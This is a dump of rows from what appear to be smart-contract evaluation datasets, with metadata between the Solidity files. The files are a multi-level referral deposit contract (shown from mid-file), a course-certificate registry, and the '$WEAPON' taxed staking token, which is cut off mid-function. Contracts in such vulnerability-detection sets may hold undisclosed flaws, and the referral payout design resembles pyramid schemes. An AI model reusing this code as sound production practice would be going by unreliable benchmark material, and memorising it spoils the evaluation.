function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2], users[userAddress].levels[3], users[userAddress].levels[4], users[userAddress].levels[5], users[userAddress].levels[6]);
}
function getUserDownlineBonus(address userAddress) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
return (users[userAddress].levelbonus[0], users[userAddress].levelbonus[1], users[userAddress].levelbonus[2], users[userAddress].levelbonus[3], users[userAddress].levelbonus[4], users[userAddress].levelbonus[5], users[userAddress].levelbonus[6]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserWithdrawHistory(address userAddress, uint256 index) public view returns(uint256 amount, uint256 start) {
User storage user = users[userAddress];
amount = user.whistory[index].amount;
start=user.whistory[index].start;
}
function getUserWithdrawSize(address userAddress) public view returns(uint256 length) {
User storage user = users[userAddress];
return user.whistory.length;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 287,700 | 10,373 |
9bab6bbb03a90f76376b978d3bc74eeca6f688f9ba7ea3d2c90dad6fe312a3a6
| 21,453 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3d2647bb6563d4213f9d97cffb8471e30d4883a9.sol
| 5,237 | 21,360 |
pragma solidity ^0.5.1;
contract Operations {
function copyBytesNToBytes(bytes32 source, bytes memory destination, uint[1] memory pointer) internal pure {
for (uint i=0; i < 32; i++) {
if (source[i] == 0)
break;
else {
destination[pointer[0]]=source[i];
pointer[0]++;
}
}
}
function copyBytesToBytes(bytes memory source, bytes memory destination, uint[1] memory pointer) internal pure {
for (uint i=0; i < source.length; i++) {
destination[pointer[0]]=source[i];
pointer[0]++;
}
}
function uintToBytesN(uint v) internal pure returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
// ret = bytes32(uint(ret) / (2 ** 8));
// ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
ret = bytes32(uint(ret) >> 8);
ret |= bytes32(((v % 10) + 48) << (8 * 31));
v /= 10;
}
}
return ret;
}
function stringToBytes32(string memory str) internal pure returns(bytes32) {
bytes32 bStrN;
assembly {
bStrN := mload(add(str, 32))
}
return(bStrN);
}
}
contract DataRegister is Operations {
bytes32 Institute;
address owner;
mapping(bytes10 => bytes) Instructor;
mapping(uint => bytes10) InstructorUIds;
uint InstructorCount = 0;
struct course {
// bytes10 CourseNumber;
bytes CourseName;
bytes10 StartDate;
bytes10 EndDate;
uint Hours;
uint InstructorId;
}
mapping(bytes10 => course) Course;
mapping(uint => bytes10) CourseUIds;
uint CourseCount = 0;
struct student {
bytes Name;
bytes10 NationalId;
}
mapping(bytes10 => student) Student;
mapping(uint => bytes10) StudentUIds;
uint StudentCount = 0;
struct certificate {
uint CourseId;
uint StudentId;
uint CertificateType;
bytes10 Result;
bool Enabled;
}
mapping(bytes10 => certificate) Certificate;
uint CertificateCount = 0;
mapping(uint => bytes10) CertificateUIds;
modifier onlyOwner() {
require(msg.sender==owner);
_;
}
modifier notEmpty(string memory str) {
bytes memory bStr = bytes(str);
require(bStr.length > 0);
_;
}
modifier isPositive(uint number) {
require(number > 0);
_;
}
modifier haveInstructor(uint InstructorId) {
require(Instructor[InstructorUIds[InstructorId]].length > 0);
_;
}
modifier haveCourse(uint CourseId) {
require(CourseUIds[CourseId].length > 0);
_;
}
modifier haveStudent(uint StudentId) {
require(Student[StudentUIds[StudentId]].Name.length > 0);
_;
}
modifier uniqueCertificateUId(string memory certificateUId) {
require(Certificate[bytes10(stringToBytes32(certificateUId))].CourseId == 0);
_;
}
modifier uniqueInstructorUId(string memory _instructorUId) {
require(Instructor[bytes10(stringToBytes32(_instructorUId))].length == 0);
_;
}
modifier uniqueCourseUId(string memory _courseUId) {
require(Course[bytes10(stringToBytes32(_courseUId))].CourseName.length == 0);
_;
}
modifier uniqueStudentUId(string memory _studentUId) {
require(Student[bytes10(stringToBytes32(_studentUId))].Name.length == 0);
_;
}
function RegisterInstructor(string memory instructorUId,
string memory instructor) public onlyOwner notEmpty(instructorUId) notEmpty(instructor) uniqueInstructorUId(instructorUId) returns(bool) {
bytes10 _instructorUId = bytes10(stringToBytes32(instructorUId));
InstructorCount++;
Instructor[_instructorUId] = bytes(instructor);
InstructorUIds[InstructorCount]=_instructorUId;
return(true);
}
function RegisterCourse(string memory CourseUId,
string memory CourseName,
string memory StartDate,
string memory EndDate,
uint Hours,
uint InstructorId) public onlyOwner notEmpty(CourseUId) notEmpty(CourseName)
isPositive(Hours) haveInstructor(InstructorId) uniqueCourseUId(CourseUId) {
course memory _course = setCourseElements(CourseName, StartDate, EndDate, Hours, InstructorId);
CourseCount++;
bytes10 _courseUId = bytes10(stringToBytes32(CourseUId));
CourseUIds[CourseCount] = _courseUId;
Course[_courseUId] = _course;
}
function setCourseElements(string memory CourseName,
string memory StartDate,
string memory EndDate,
uint Hours,
uint InstructorId) internal pure returns(course memory) {
course memory _course;
_course.CourseName = bytes(CourseName);
_course.StartDate = bytes10(stringToBytes32(StartDate));
_course.EndDate = bytes10(stringToBytes32(EndDate));
_course.Hours = Hours;
_course.InstructorId = InstructorId;
return(_course);
}
function RegisterStudent(string memory StudentUId,
string memory Name,
string memory NationalId) public onlyOwner notEmpty(Name) notEmpty(NationalId) notEmpty(StudentUId) uniqueStudentUId(StudentUId) returns(bool) {
StudentCount++;
StudentUIds[StudentCount] = bytes10(stringToBytes32(StudentUId));
student memory _student;
_student.Name = bytes(Name);
_student.NationalId = bytes10(stringToBytes32(NationalId));
Student[StudentUIds[StudentCount]]=_student;
return(true);
}
function RegisterCertificate(string memory CertificateUId,
uint CourseId,
uint StudentId,
uint CertificateType,
string memory Result) public onlyOwner haveStudent(StudentId) haveCourse(CourseId)
uniqueCertificateUId(CertificateUId) isPositive(CertificateType) returns(bool) {
certificate memory _certificate;
_certificate.CourseId = CourseId;
_certificate.StudentId = StudentId;
_certificate.CertificateType = CertificateType;
_certificate.Result = bytes10(stringToBytes32(Result));
_certificate.Enabled = true;
bytes10 cert_uid = bytes10(stringToBytes32(CertificateUId));
CertificateCount++;
Certificate[cert_uid] = _certificate;
CertificateUIds[CertificateCount] = cert_uid;
return(true);
}
function EnableCertificate(string memory CertificateId) public onlyOwner notEmpty(CertificateId) returns(bool) {
bytes10 _certificateId = bytes10(stringToBytes32(CertificateId));
certificate memory _certificate = Certificate[_certificateId];
require(_certificate.Result != '');
require(! _certificate.Enabled);
Certificate[_certificateId].Enabled = true;
return(true);
}
function DisableCertificate(string memory CertificateId) public onlyOwner notEmpty(CertificateId) returns(bool) {
bytes10 _certificateId = bytes10(stringToBytes32(CertificateId));
certificate memory _certificate = Certificate[_certificateId];
require(_certificate.Result != '');
require(_certificate.Enabled);
Certificate[_certificateId].Enabled = false;
return(true);
}
}
contract CryptoClassCertificate is DataRegister {
constructor(string memory _Institute) public notEmpty(_Institute) {
owner = msg.sender;
Institute = stringToBytes32(_Institute);
}
function GetInstitute() public view returns(string memory) {
uint[1] memory pointer;
pointer[0]=0;
bytes memory institute=new bytes(48);
copyBytesToBytes('{"Institute":"', institute, pointer);
copyBytesNToBytes(Institute, institute, pointer);
copyBytesToBytes('"}', institute, pointer);
return(string(institute));
}
function GetInstructors() public view onlyOwner returns(string memory) {
uint len = 30;
uint i;
for (i=1 ; i <= InstructorCount ; i++)
len += 30 + Instructor[InstructorUIds[i]].length;
bytes memory instructors = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{ "Instructors":[', instructors, pointer);
for (i=1 ; i <= InstructorCount ; i++) {
if (i > 1)
copyBytesNToBytes(',', instructors, pointer);
copyBytesNToBytes('{"Id":"', instructors, pointer);
copyBytesNToBytes(InstructorUIds[i], instructors, pointer);
copyBytesNToBytes('","Name":"', instructors, pointer);
copyBytesToBytes(Instructor[InstructorUIds[i]], instructors, pointer);
copyBytesNToBytes('"}', instructors, pointer);
}
copyBytesNToBytes(']}', instructors, pointer);
return(string(instructors));
}
function GetInstructor(string memory InstructorUId) public view notEmpty(InstructorUId) returns(string memory) {
bytes10 _instructorId = bytes10(stringToBytes32(InstructorUId));
require(Instructor[_instructorId].length > 0);
uint len = 30;
len += Instructor[_instructorId].length;
bytes memory _instructor = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{ "Instructor":"', _instructor, pointer);
copyBytesToBytes(Instructor[_instructorId], _instructor, pointer);
copyBytesNToBytes('"}', _instructor, pointer);
return(string(_instructor));
}
function GetInstructorCourses(string memory InstructorUId) public view notEmpty(InstructorUId) returns(string memory) {
bytes10 _instructorUId = bytes10(stringToBytes32(InstructorUId));
require(Instructor[_instructorUId].length > 0);
uint _instructorId = 0;
for (uint i = 1; i <= InstructorCount; i++)
if (InstructorUIds[i] == _instructorUId) {
_instructorId = i;
break;
}
uint len = 30;
course memory _course;
uint i;
for (i=1; i<=CourseCount; i++) {
if (Course[CourseUIds[i]].InstructorId == _instructorId) {
_course = Course[CourseUIds[i]];
len += 180 + Institute.length + _course.CourseName.length + Instructor[InstructorUIds[_course.InstructorId]].length;
}
}
bytes memory courseInfo = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{"Courses":[', courseInfo, pointer);
bool first = true;
for (i=1; i<=CourseCount; i++) {
_course = Course[CourseUIds[i]];
if (_course.InstructorId == _instructorId) {
if (first)
first = false;
else
copyBytesNToBytes(',', courseInfo, pointer);
copyBytesNToBytes('{"CourseId":"', courseInfo, pointer);
copyBytesNToBytes(CourseUIds[i], courseInfo, pointer);
copyBytesNToBytes('","CourseName":"', courseInfo, pointer);
copyBytesToBytes(_course.CourseName, courseInfo, pointer);
copyBytesNToBytes('","StartDate":"', courseInfo, pointer);
copyBytesNToBytes(_course.StartDate, courseInfo, pointer);
copyBytesNToBytes('","EndDate":"', courseInfo, pointer);
copyBytesNToBytes(_course.EndDate, courseInfo, pointer);
copyBytesNToBytes('","DurationHours":"', courseInfo, pointer);
copyBytesNToBytes(uintToBytesN(_course.Hours), courseInfo, pointer);
copyBytesNToBytes('"}', courseInfo, pointer);
}
}
copyBytesNToBytes(']}', courseInfo, pointer);
return(string(courseInfo));
}
function GetCourseInfo(string memory CourseUId) public view notEmpty(CourseUId) returns(string memory) {
bytes10 _courseUId=bytes10(stringToBytes32(CourseUId));
course memory _course;
_course = Course[_courseUId];
require(_course.CourseName.length > 0);
uint len = 110;
len += Institute.length + 10 + _course.CourseName.length + 10 + 10 + Instructor[InstructorUIds[_course.InstructorId]].length;
bytes memory courseInfo = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{"Course":', courseInfo, pointer);
copyBytesNToBytes('{"Issuer":"', courseInfo, pointer);
copyBytesNToBytes(Institute, courseInfo, pointer);
copyBytesNToBytes('","CourseUId":"', courseInfo, pointer);
copyBytesNToBytes(_courseUId, courseInfo, pointer);
copyBytesNToBytes('","CourseName":"', courseInfo, pointer);
copyBytesToBytes(_course.CourseName, courseInfo, pointer);
copyBytesNToBytes('","StartDate":"', courseInfo, pointer);
copyBytesNToBytes(_course.StartDate, courseInfo, pointer);
copyBytesNToBytes('","EndDate":"', courseInfo, pointer);
copyBytesNToBytes(_course.EndDate, courseInfo, pointer);
copyBytesNToBytes('","DurationHours":"', courseInfo, pointer);
copyBytesNToBytes(uintToBytesN(_course.Hours), courseInfo, pointer);
copyBytesNToBytes('"}}', courseInfo, pointer);
return(string(courseInfo));
}
function GetCourses() public view onlyOwner returns(string memory) {
uint len = 30;
uint i;
course memory _course;
for (i=1 ; i <= CourseCount ; i++) {
_course = Course[CourseUIds[i]];
len += 90 + 10 + _course.CourseName.length + 10 + 12 + 12 + 6 + Instructor[InstructorUIds[_course.InstructorId]].length;
}
bytes memory courses = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
bytes32 hrs;
copyBytesNToBytes('{"Courses":[', courses, pointer);
for (i=1 ; i <= CourseCount ; i++) {
if (i > 1)
copyBytesNToBytes(',', courses, pointer);
_course = Course[CourseUIds[i]];
copyBytesNToBytes('{"UId":"', courses, pointer);
copyBytesNToBytes(CourseUIds[i], courses, pointer);
copyBytesNToBytes('","Name":"', courses, pointer);
copyBytesToBytes(_course.CourseName, courses, pointer);
copyBytesNToBytes('","InstructorId":"', courses, pointer);
copyBytesToBytes(Instructor[InstructorUIds[_course.InstructorId]], courses, pointer);
copyBytesNToBytes('","StartDate":"', courses, pointer);
copyBytesNToBytes(_course.StartDate, courses, pointer);
copyBytesNToBytes('","EndDate":"', courses, pointer);
copyBytesNToBytes(_course.EndDate, courses, pointer);
copyBytesNToBytes('","Duration":"', courses, pointer);
hrs = uintToBytesN(_course.Hours);
copyBytesNToBytes(hrs, courses, pointer);
copyBytesNToBytes(' Hours"}', courses, pointer);
}
copyBytesNToBytes(']}', courses, pointer);
return(string(courses));
}
function GetStudentInfo(string memory StudentUId) public view notEmpty(StudentUId) returns(string memory) {
bytes10 _studentUId=bytes10(stringToBytes32(StudentUId));
student memory _student;
_student = Student[_studentUId];
require(_student.Name.length > 0);
uint len = 110;
len += Institute.length + 10 + _student.Name.length + 10 ;
bytes memory studentInfo = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{"Student":', studentInfo, pointer);
copyBytesNToBytes('{"Issuer":"', studentInfo, pointer);
copyBytesNToBytes(Institute, studentInfo, pointer);
copyBytesNToBytes('","StudentUId":"', studentInfo, pointer);
copyBytesNToBytes(_studentUId, studentInfo, pointer);
copyBytesNToBytes('","Name":"', studentInfo, pointer);
copyBytesToBytes(_student.Name, studentInfo, pointer);
copyBytesNToBytes('","NationalId":"', studentInfo, pointer);
copyBytesNToBytes(_student.NationalId, studentInfo, pointer);
copyBytesNToBytes('"}}', studentInfo, pointer);
return(string(studentInfo));
}
function GetStudents() public view onlyOwner returns(string memory) {
uint len = 30;
uint i;
for (i=1 ; i <= StudentCount ; i++)
len += 50 + 3 + Student[StudentUIds[i]].Name.length;
bytes memory students = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{"Students":[', students, pointer);
for (i=1 ; i <= StudentCount ; i++) {
if (i > 1)
copyBytesNToBytes(',', students, pointer);
student memory _student = Student[StudentUIds[i]];
copyBytesNToBytes('{"UId":"', students, pointer);
copyBytesNToBytes(StudentUIds[i], students, pointer);
copyBytesNToBytes('","NationalId":"', students, pointer);
copyBytesNToBytes(_student.NationalId, students, pointer);
copyBytesNToBytes('","Name":"', students, pointer);
copyBytesToBytes(_student.Name, students, pointer);
copyBytesNToBytes('"}', students, pointer);
}
copyBytesNToBytes(']}', students, pointer);
return(string(students));
}
function GetCertificates() public view onlyOwner returns(string memory) {
uint len = 30;
uint i;
len += CertificateCount * 40;
bytes memory certificates = new bytes(len);
uint[1] memory pointer;
pointer[0]=0;
copyBytesNToBytes('{"Certificates":[', certificates, pointer);
for (i = 1 ; i <= CertificateCount ; i++) {
if (i > 1)
copyBytesNToBytes(',', certificates, pointer);
copyBytesNToBytes('{"CertificateId":"', certificates, pointer);
copyBytesNToBytes(CertificateUIds[i], certificates, pointer);
copyBytesNToBytes('"}', certificates, pointer);
}
copyBytesNToBytes(']}', certificates, pointer);
return(string(certificates));
}
function GetCertificate(string memory CertificateId) public view notEmpty(CertificateId) returns(string memory) {
bytes memory certSpec;
uint len;
uint[1] memory pointer;
pointer[0] = 0;
bytes10 _certificateId = bytes10(stringToBytes32(CertificateId));
certificate memory _certificate = Certificate[_certificateId];
course memory _course = Course[CourseUIds[_certificate.CourseId]];
student memory _student = Student[StudentUIds[_certificate.StudentId]];
bytes memory _instructor = Instructor[InstructorUIds[_course.InstructorId]];
len = 500;
len += _course.CourseName.length + _instructor.length;
certSpec = new bytes(len);
require(_certificate.StudentId > 0);
require(_certificate.Enabled);
copyBytesNToBytes('{"Certificate":{"Issuer":"', certSpec, pointer);
copyBytesNToBytes(Institute, certSpec, pointer);
copyBytesNToBytes('","CertificateId":"', certSpec, pointer);
copyBytesNToBytes(_certificateId, certSpec, pointer);
copyBytesNToBytes('","Name":"', certSpec, pointer);
copyBytesToBytes(_student.Name, certSpec, pointer);
copyBytesNToBytes('","NationalId":"', certSpec, pointer);
copyBytesNToBytes(_student.NationalId, certSpec, pointer);
copyBytesNToBytes('","CourseId":"', certSpec, pointer);
copyBytesNToBytes(CourseUIds[_certificate.CourseId], certSpec, pointer);
copyBytesNToBytes('","CourseName":"', certSpec, pointer);
copyBytesToBytes(_course.CourseName, certSpec, pointer);
copyBytesNToBytes('","StartDate":"', certSpec, pointer);
copyBytesNToBytes(_course.StartDate, certSpec, pointer);
copyBytesNToBytes('","EndDate":"', certSpec, pointer);
copyBytesNToBytes(_course.EndDate, certSpec, pointer);
copyBytesNToBytes('","DurationHours":"', certSpec, pointer);
copyBytesNToBytes(uintToBytesN(_course.Hours), certSpec, pointer);
copyBytesNToBytes('","Instructor":"', certSpec, pointer);
copyBytesToBytes(_instructor, certSpec, pointer);
bytes10 _certType = GetCertificateTypeDescription(_certificate.CertificateType);
copyBytesNToBytes('","CourseType":"', certSpec, pointer);
copyBytesNToBytes(_certType, certSpec, pointer);
copyBytesNToBytes('","Result":"', certSpec, pointer);
copyBytesNToBytes(_certificate.Result, certSpec, pointer);
copyBytesNToBytes('"}}', certSpec, pointer);
return(string(certSpec));
}
function GetCertificateTypeDescription(uint Type) pure internal returns(bytes10) {
if (Type == 1)
return('Attendance');
else if (Type == 2)
return('Online');
else if (Type == 3)
return('Video');
else if (Type == 4)
return('ELearning');
else
return(bytes10(uintToBytesN(Type)));
}
}
| 215,355 | 10,374 |
a74f495cbeadbfed59bd1e30ae75b4eed045fd96507cd41165db638b33e58904
| 19,220 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x0b8057c3cc676c329c25c1d0cd27776efa73762d.sol
| 4,698 | 18,828 |
pragma solidity 0.8.1;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IWEAPONStakable is IERC20 {
function stakedBalanceOf(address account) external view returns (uint256);
function getStake(address account) external view returns (uint256, uint256, uint256);
function stake(address account, uint256 amount, uint256 unstakeTime, bool isPlayer, uint256 adjustedStake) external;
function unstake(address account, uint256 unstakeAmount, bool isPlayer, uint256 adjustedStake) external;
function sync(address account, uint256 adjustedStake) external;
function toggleStaking() external;
}
contract WEAPON is Context, IWEAPONStakable {
bool private _swapping;
bool public stakingEnabled = false;
bool public mintLocked = true;
uint public mintLockTime = 1643673599;
mapping (address => bool) private _isPool;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _stakedBalances;
mapping (address => uint256) private _stakeExpireTime;
mapping (address => uint256) private _stakeBeginTime;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 10 * 10**6 * 10**9;
string private constant _name = "Megaweapon";
string private constant _symbol = "$WEAPON";
string private constant _version = "2";
uint8 private constant _decimals = 9;
uint8 private _buyTax = 10;
uint8 private _sellTax = 10;
uint8 private _stakingRewards = 20;
address immutable private _lp;
address payable immutable private _vault;
address payable immutable private _multiSig;
address payable private _stakingContract;
address private constant _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 private UniV2Router;
constructor(address vault, address multiSig) {
require(vault != address(0) && multiSig != address(0), "$WEAPON: cannot assign privilege to zero address");
_lp = _msgSender();
_balances[_msgSender()] = _totalSupply;
UniV2Router = IUniswapV2Router02(_uniRouter);
_vault = payable(vault);
_multiSig = payable(multiSig);
}
event Stake(address indexed staker, uint256 amount, uint256 stakeTime, uint256 stakeExpire);
event Unstake(address indexed staker, uint256 amount, uint256 stakeAmountRemaining);
event Adjust(address indexed staker, uint256 oldStake, uint256 newStake);
event ChangeBuyTax(uint256 prevTax, uint256 newTax);
event ChangeSellTax(uint256 prevTax, uint256 newTax);
event ChangeRewards(uint256 prevRew, uint256 newRew);
event ToggleStaking(bool enabled);
event SetStakingContract(address stakingCon);
event SetPool(address isNowPool);
event FailsafeTokenSwap(uint256 amount);
event FailsafeETHTransfer(uint256 amount);
event FreezeMint(uint256 mintLockTime);
event ThawMint(uint256 mintLockTime);
modifier onlyMultiSig {
require (_msgSender() == _multiSig, "$WEAPON: unauthorized");
_;
}
modifier lockSwap {
_swapping = true;
_;
_swapping = false;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function version() external pure returns (string memory) {
return _version;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function stakedBalanceOf(address account) external view override returns (uint256) {
return _stakedBalances[account];
}
function getStake(address account) external view override returns (uint256, uint256, uint256) {
if (stakingEnabled && _stakedBalances[account] > 0)
return (_stakedBalances[account], _stakeBeginTime[account], _stakeExpireTime[account]);
else return (0,0,0);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require (_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_balances[sender] >= amount, "ERC20: transfer exceeds balance");
require(amount > 0, "$WEAPON: cannot transfer zero");
require(!(_isPool[sender] && _isPool[recipient]), "$WEAPON: cannot transfer pool to pool");
uint256 taxedAmount = amount;
uint256 tax = 0;
if (_isPool[sender] == true && recipient != _lp && recipient != _uniRouter) {
tax = amount * _buyTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
}
if (_isPool[recipient] == true && sender != _lp && sender != _uniRouter){
tax = amount * _sellTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
if (_balances[address(this)] > 100 * 10**9 && !_swapping) {
uint256 _swapAmount = _balances[address(this)];
if (_swapAmount > amount * 40 / 100) _swapAmount = amount * 40 / 100;
_tokensToETH(_swapAmount);
}
}
_balances[recipient] += taxedAmount;
_balances[sender] -= amount;
emit Transfer(sender, recipient, amount);
}
function stake(address account, uint256 amount, uint256 unstakeTime, bool isPlayer, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: must stake through staking contract");
require (account != address(0), "$WEAPON: cannot stake zero address");
require (stakingEnabled, "$WEAPON: staking currently not enabled");
if (isPlayer)
{
if (_stakedBalances[account] != adjustedStake){
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
}
require (unstakeTime > (block.timestamp + 86100),"$WEAPON: minimum stake time 23 hours 55 min");
require (unstakeTime >= _stakeExpireTime[account], "$WEAPON: new stake time cannot be shorter");
require (_balances[account] >= amount, "$WEAPON: stake exceeds available balance");
if (_stakedBalances[account] == 0) require (amount > 0, "$WEAPON: cannot stake 0 tokens");
_balances[account] = _balances[account] - amount;
_balances[_stakingContract] = _balances[_stakingContract] + amount;
_stakedBalances[account] = _stakedBalances[account] + amount;
_stakeExpireTime[account] = unstakeTime;
_stakeBeginTime[account] = block.timestamp;
emit Stake(account, amount, block.timestamp, unstakeTime);
}
function unstake(address account, uint256 unstakeAmount, bool isPlayer, uint256 adjustedStake) external override {
require (_msgSender() == _stakingContract, "$WEAPON: must unstake through staking contract");
require (account != address(0), "$WEAPON: cannot unstake zero address");
require(unstakeAmount > 0, "$WEAPON: cannot unstake zero tokens");
if (isPlayer)
{
if (_stakedBalances[account] != adjustedStake){
emit Adjust(account, _stakedBalances[account], adjustedStake);
_stakedBalances[account] = adjustedStake;
}
}
require(unstakeAmount <= _stakedBalances[account], "$WEAPON: unstake exceeds staked balance");
